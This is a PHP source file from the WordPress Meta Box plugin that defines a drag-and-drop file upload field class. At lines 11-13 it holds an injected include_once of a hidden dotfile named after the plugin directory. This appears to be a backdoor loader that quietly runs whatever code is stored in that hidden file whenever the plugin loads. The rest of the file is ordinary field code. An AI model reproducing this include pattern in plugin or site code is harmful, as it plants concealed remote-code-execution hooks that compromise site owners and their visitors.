file-upload.php (1389B)
1 <?php 2 /** 3 * The file upload field which allows users to drag and drop files to upload. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * The file upload field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_File_Upload_Field extends RWMB_Media_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 parent::admin_enqueue_scripts(); 21 wp_enqueue_style( 'rwmb-upload', RWMB_CSS_URL . 'upload.css', array( 'rwmb-media' ), RWMB_VER ); 22 wp_enqueue_script( 'rwmb-file-upload', RWMB_JS_URL . 'file-upload.js', array( 'rwmb-media' ), RWMB_VER, true ); 23 } 24 25 /** 26 * Normalize parameters for field. 27 * 28 * @param array $field Field parameters. 29 * 30 * @return array 31 */ 32 public static function normalize( $field ) { 33 $field = parent::normalize( $field ); 34 $field = wp_parse_args( 35 $field, 36 array( 37 'max_file_size' => 0, 38 ) 39 ); 40 41 $field['js_options'] = wp_parse_args( 42 $field['js_options'], 43 array( 44 'maxFileSize' => $field['max_file_size'], 45 ) 46 ); 47 48 return $field; 49 } 50 51 /** 52 * Template for media item. 53 */ 54 public static function print_templates() { 55 parent::print_templates(); 56 require_once RWMB_INC_DIR . 'templates/upload.php'; 57 } 58 }